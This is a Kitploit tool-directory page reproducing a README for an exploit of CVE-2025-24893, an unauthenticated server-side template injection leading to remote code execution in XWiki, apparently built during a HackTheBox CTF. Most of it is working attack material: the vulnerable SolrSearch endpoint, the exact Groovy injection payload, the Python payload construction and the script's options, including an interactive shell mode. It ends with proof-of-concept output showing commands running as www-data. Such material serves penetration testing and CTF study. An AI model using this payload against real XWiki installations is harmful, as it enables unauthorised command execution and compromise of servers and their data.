Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-24893-XWiki-SSTI-RCE — CVE-2025-24893 – XWiki SSTI unauthenticated RCE exploit (HackTheBox CTF) | Kitploit
Tools/GitHubGitHub/rippsec/cve-2025-24893-xwiki-ssti-rce
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration Testing
GitHubrippsec/cve-2025-24893-xwiki-ssti-rce

CVE-2025-24893-XWiki-SSTI-RCE

CVE-2025-24893 – XWiki SSTI unauthenticated RCE exploit (HackTheBox CTF)

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
View Repository
24 months agoNot yet reviewed
Share

CVE-2025-24893 — XWiki SSTI Remote Code Execution

Overview

FieldDetails
CVECVE-2025-24893
SoftwareXWiki
VulnerabilityServer-Side Template Injection (SSTI) → RCE
AuthenticationNot required
CVSS ScoreCritical
ContextDiscovered during HackTheBox CTF

Description

XWiki exposes a SolrSearch endpoint (/xwiki/bin/get/Main/SolrSearch) that renders user-supplied input through the Groovy template engine without sanitization. An unauthenticated attacker can inject a Groovy expression via the text query parameter, achieving Remote Code Execution on the underlying server.

Technical Details

Vulnerable Endpoint

root@kitploit:~
GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=<PAYLOAD>

Injection Mechanism

The text parameter is embedded directly into an XWiki macro context and evaluated by the Groovy engine. The injection escapes the template context using }}} and opens an {{async}}{{groovy}} block:

root@kitploit:~
}}}{{async async=false}}{{groovy}}println("<CMD>".execute().text){{/groovy}}{{/async}}

The output is reflected in the RSS response body and can be extracted via regex.

Payload Structure

root@kitploit:~
payload = '}}}{{async async=false}}{{groovy}}println("' + command + '".execute().text){{/groovy}}{{/async}}'

The response is XML/RSS — command output appears between [}}} and ]</ markers with HTML-encoded characters.

Usage

root@kitploit:~
python3 exploit.py -t <TARGET> [-p PORT] [-s] [-i | -c COMMAND]
FlagDescription
-tTarget hostname or IP
-pPort (default: 80)
-sUse HTTPS
-iInteractive shell mode
-cSingle command execution
-vVerbose output

Examples

root@kitploit:~
# Single command
python3 exploit.py -t wiki.target.htb -c "id"

# Interactive shell
python3 exploit.py -t wiki.target.htb -i

# HTTPS on custom port
python3 exploit.py -t wiki.target.htb -p 443 -s -i

Dependencies

root@kitploit:~
pip install requests termcolor

Proof of Concept

root@kitploit:~
$ python3 exploit.py -t wiki.editor.htb -c "id"
[*] Executing command: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

References

  • XWiki Official Advisory
  • NVD Entry
Download Tool